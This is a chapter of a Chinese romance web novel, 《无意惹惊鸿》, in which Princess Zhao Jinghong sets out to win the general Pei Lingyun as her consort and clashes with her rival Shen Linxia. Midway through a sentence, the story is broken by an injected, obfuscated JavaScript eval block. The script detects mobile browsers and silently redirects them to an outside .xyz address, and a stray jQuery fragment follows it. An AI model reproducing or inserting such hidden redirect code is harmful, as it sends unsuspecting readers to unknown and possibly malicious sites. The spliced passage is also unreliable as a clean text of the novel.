2. 美人几顾芳心明许
作品:《无意惹惊鸿》 裴凌云弯腰恭敬行礼:“朝阳公主。”
赵惊鸿笑了下,也不叫人免礼,只说:“将军似乎对本宫很有意见。”
“不敢。”
赵惊鸿不接话,自顾说着,“将军对旁人,虽说算不上热忱,可至少礼数周全,唯独对本宫,本宫看了你这么久,将军连个眼神都不屑给,好没道理。”
她边说边靠近裴凌云,二人之间的距离此刻已有些越界了,裴凌云不动声色地侧了侧身,让开一步,“公主自重,公主既然已是有夫之妇,就不要再招惹旁人。”
赵惊鸿听得好笑,她怎么觉着这话中的怨气如此之大呢,再加上裴凌云这副忍辱负重的模样,叫她忍不住想逗弄几番。
“哦——”她佯做大悟,拖长了语调轻笑,“原是为这事吃味,看来将军消息不够灵通啊,本宫前几日就已经休了驸马,将军无需介怀。”
裴凌云见她如此曲解自己的意思,心中愈发恼怒,不欲与她多说,遂拱手告辞。
转身离开之际,赵惊鸿没有错过他耳尖染上的粉嫩,看来是个不禁逗的。
许是真将人惹恼了,直到宴席结束,裴凌云也没回头看她一眼,自然也不知道赵惊鸿在他走后极不端庄地翻了个白眼,轻嗤了声:“他傲什么呢。”
赵惊鸿是个混不吝的,人家已经如此不待见她了,她非但不放弃,反而愈挫愈勇,宴席结束后便一路直奔孝和帝的寝宫,彼时孝和帝已经躺下了,她硬将人从床上拽了起来,“父皇,我看上了个人。”
“……”孝和帝见怪不怪,眯楞着眼问她,“这回又是谁啊。”
“裴凌云。”
孝和帝醒了,这回是彻彻底底地清醒了,他犹疑地吞了口唾沫,问,“是准备叫他给你弹曲儿还是跳舞?”
往常赵惊鸿看上的男人不算少,不过都有分寸,也就是将人绑去公主府给她弹琴跳舞,她玩得开心了,便将人放了,顺带给些赏赐。因着不过火,孝和帝便也睁一只眼闭一只眼,由她去了。
赵惊鸿开口,“我要他做我的驸马。”
孝和帝脸上的髯须抖了抖,瞧着要笑不笑,分外可笑。
见人半天不讲话,赵惊鸿拿眼瞅他,“不行吗?”
岂止是不行!
孝和帝一口气提在喉间差点上不来,他顺了顺胸口,到底没说重话:“儿啊,不如咱们换个人?你看望之啊,他常年在军营,跟一帮大老爷们混在一起,毛手毛脚的怎么懂如何伺候你呢,父皇就你一个女儿,哪舍得让你嫁过去受苦啊。”
说完抽出赵惊鸿腰间的丝帕,装模作样擦起泪来。
赵惊鸿冷眼看着他作妖,这招他还真是屡试不爽,可惜她早就不是任他吓唬的小丫头了,“什么嫁过去,是他嫁过来,谁受苦还不一定呢。”
孝和帝悻悻收了帕子,认真问她:“你真要他做驸马?”
“没错。”赵惊鸿笃定点头。
“那……”孝和帝凑近她,“游游你知不知道望之他有未婚妻的事儿?”
赵惊鸿:“!”
赵惊鸿:“???”
她惊得一下站起,连语调都上扬了几分,“什么?!”
孝和帝示意她别激动,将她拉回来坐在床沿上,“是指腹为婚的亲事,只是望之的未婚妻还未出生时,她家中便出了事,那时你皇祖父还在,因着那姑娘的爷爷犯了事,便被抄了家,她爷爷与父亲当即自缢了,她母亲怀着她入了掖庭,沦为罪奴。”
他叹了口气继续:“虽说这么多年过去了,没人再提起当年那桩婚约,可咱们不知道望之是怎么想的,你怎好不问缘由便强迫人家呢?更何况望之是功臣,朝中多少双眼睛盯着呢,若是被你强要了去,那些大臣的唾沫星子还不把你给淹死?听父皇的,咱们就歇了这心思,改日父皇为你选个更好的。”
赵惊鸿不知在想些什么,没有立即应话,孝和帝等啊等,等来了她一句,“那就让他心甘情愿爱上我。”
孝和帝:“……合着父皇的话你是一句也没听进去。”
“睡吧父皇。”赵惊鸿把孝和帝摁回床上,给他掖好被角,“您就等着女儿给您带个女婿回来吧。”
孝和帝:……突然就有点睡不着了。
翌日一早,赵惊鸿便迫不及待去将军府找裴凌云,裴凌云因刚从边关回来,舟车劳顿,加上府中许多年没人住过,许多地方都需要修缮,便得了几日空闲,安心在家休沐。
这倒给了赵惊鸿可乘之机。
赵惊鸿来时正见裴凌云挽起袖子站在高凳上查看屋中漏风之处,到底是多年的老屋了,冬日料峭,这么睡一晚没人吃得消。
“这屋子年久失修,得请个专门的工匠来。”赵惊鸿出声,“不过修缮需要时间,届时将军可以来我公主府借宿几晚,本宫不介意的。”
裴凌云回头,见她眼里的狡黠明晃晃得要溢出来,他冷声拒绝,“不用。”
失策了,这府中最该先请个看门的小厮。
赵惊鸿也不在意,环视了圈屋子,没继续插科打诨:“这房屋耗损得厉害,一时半会儿可修不好,你既然要在这儿住下,不如先去买些桐油纸来糊窗御寒,本宫可不想明日来时你已命归西天了。”
裴凌云动作滞了一瞬,蹙眉道:“明日你还要来?”
“当然。”三九拿袖子擦净圆凳上的积灰,扶赵惊鸿坐下,“我不仅明日要来,往后每一日都要来,直到将军答应做本宫的驸马为止。”
裴凌云没想到她会这么直白,一双向来沉静的眼眸在眼眶里急速震动,像是乱了方寸,赵惊鸿将他的反应尽收眼底,一双含情眸带了钩子般轻轻挠他:“将军若是不答应,朝阳可就要日日叨扰将军了。”
许是赵惊鸿的声音叫裴凌云猛地回过神来,短短一瞬功夫,他面上由白转红,由红转青,再由青转黑,好不精彩。
赵惊鸿是被裴凌云咬着牙赶出府的,沉重的大门在她面前狠狠摔上,带起一阵尘土,赵惊鸿捂着磕疼的鼻子报复般踹了脚裴家大门,不甘心啐了句:“什么呀,前一句话还脸红呢,不过眨眼功夫面色便黑得像条泥鳅,本宫又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315239|182961||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是哪儿得罪他了?男人就是难伺候!”
三九跟在后头不敢接话,低着头装鹌鹑。
偏偏赵惊鸿越想越气,她向来都是被人捧着哄着的,哪像今日如此丢脸直接被人扫地出门了,简直是拿着笤帚在她脸上来回碾磨,叫她如何能忍。
“三九,他方才分明就是脸红了,既然脸红了,那就说明他对本宫动心了,既然动心了,那他怎么舍得对心上人如此粗鲁?”
三九汗颜,她也不知自家殿下是从哪得出这结论的,但眼下人在气头上,也只能顺着她哄,“将军也许对殿下有意,只不过将军位高权重,被人捧惯了,难免有些大男子气概,要他入赘做驸马,恐怕难为他了,殿下不如给将军些时间缓和缓和?”
赵惊鸿皱眉,她倒是没想过这个问题,此事确实关乎他男人的尊严,不过那又如何,难道要她下嫁不成,那成什么样子。
这么想着,二人身后忽传来极轻的一声笑,赵惊鸿转头望去,沈临夏遥遥立于她们身后,手中一把小扇摇啊摇啊摇,摇得赵惊鸿莫名火大。
若说世家千金中有谁敢得罪赵惊鸿,那便非沈临夏莫属了,仗着自己是太傅孙女,非但不怕她,反而处处与她作对,更乐得看她笑话。
是以赵惊鸿的见到沈临夏的下意识反应,就是这小妮子又来嘲笑她了,她挺直脊背,迎上她的目光,“笑什么?”
沈临夏悠悠上前来,揶揄的目光在赵惊鸿身上转了几圈,又绕上头顶硕大的裴府牌匾,再次不厚道地笑出了声。
赵惊鸿:“……”
她咬牙挤出了个笑,“您笑够了吗?”
“啊……”她状似惊讶地拿小扇遮住了唇,歉意道,“对不住啊朝阳公主,失礼了。”
“知道失礼就闭嘴。”赵惊鸿懒得同她虚与委蛇,瘫着一张脸白她。
“不过公主这是……”她仍旧不依不饶,铁了心要扒下赵惊鸿半张皮来,“来找裴将军?裴将军怎么不请您进去坐坐呢?到底是在边关待得太久,不知长安的规矩。”
这话说得有些过了,三九心知肚明沈临夏是在指桑骂槐,冷声提醒了句:“沈娘子慎言。”
沈临夏悻悻地缩了缩肩膀,她不怕赵惊鸿这纸老虎,却着实是怕三九的,毕竟被那一双死人眼瞪着,谁心里能不发怵。
“……总之,裴将军是有婚约在身的,整个长安早就传遍了,你声名狼藉可配不上人家,有这功夫还不如一根绳子将他绑来,哄人是你赵惊鸿的作风吗?”
赵惊鸿咬紧了后槽牙眼睁睁看着她施然远去,默了半晌忽地愣住,顿悟般看向身后三九:“她方才是不是让我将人绑来?”
三九眨了几下眼皮,似乎觉得哪里不对,但确实又合情合理,于是迟疑道:“是吧?奴婢也听见了。”
“那就是了。”赵惊鸿深信不疑,竟觉得那恼人的背影此刻也顺眼起来,“不过这法子着实粗鲁了些,不适合本宫。”
赵惊鸿抬手拢了拢耳后斜散的珠花,回身看了眼那扇漆黑的大门,眼里闪着势在必得的光芒。